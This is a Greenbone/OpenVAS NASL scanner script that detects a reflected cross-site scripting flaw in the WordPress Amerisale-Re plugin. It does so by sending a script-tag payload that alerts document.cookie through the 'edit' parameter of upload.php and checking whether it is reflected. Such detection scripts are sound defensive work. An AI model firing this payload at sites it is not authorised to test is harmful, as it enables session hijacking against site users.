WordPress Amerisale-Re Plugin XSS Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.903504");
  script_version("2025-03-05T05:38:53+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2013-11-28 14:48:09 +0530 (Thu, 28 Nov 2013)");
  script_name("WordPress Amerisale-Re Plugin XSS Vulnerability");

  script_tag(name:"summary", value:"The WordPress plugin 'Amerisale-Re' is prone to a cross-site scripting (XSS) vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check whether it is able to read the
cookie or not.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"insight", value:"Flaw is due to improper validation of user-supplied input passed to 'edit'
parameter in 'wp-content/plugins/amerisale-re/netriesdetail/upload.php' page.");
  script_tag(name:"affected", value:"WordPress Amerisale-Re Plugin is affected.");
  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
script code in a user's browser session in the context of an affected site.");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/124187");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/wordpress-amerisale-re-cross-site-scripting");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + '/wp-content/plugins/amerisale-re/netriesdetail/upload.php?'+
            'edit="/><script>alert(document.cookie);</script>';

if(http_vuln_check(port:port, url:url, check_header:TRUE,
                   pattern:"<script>alert\(document\.cookie\);</script>"))
{
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}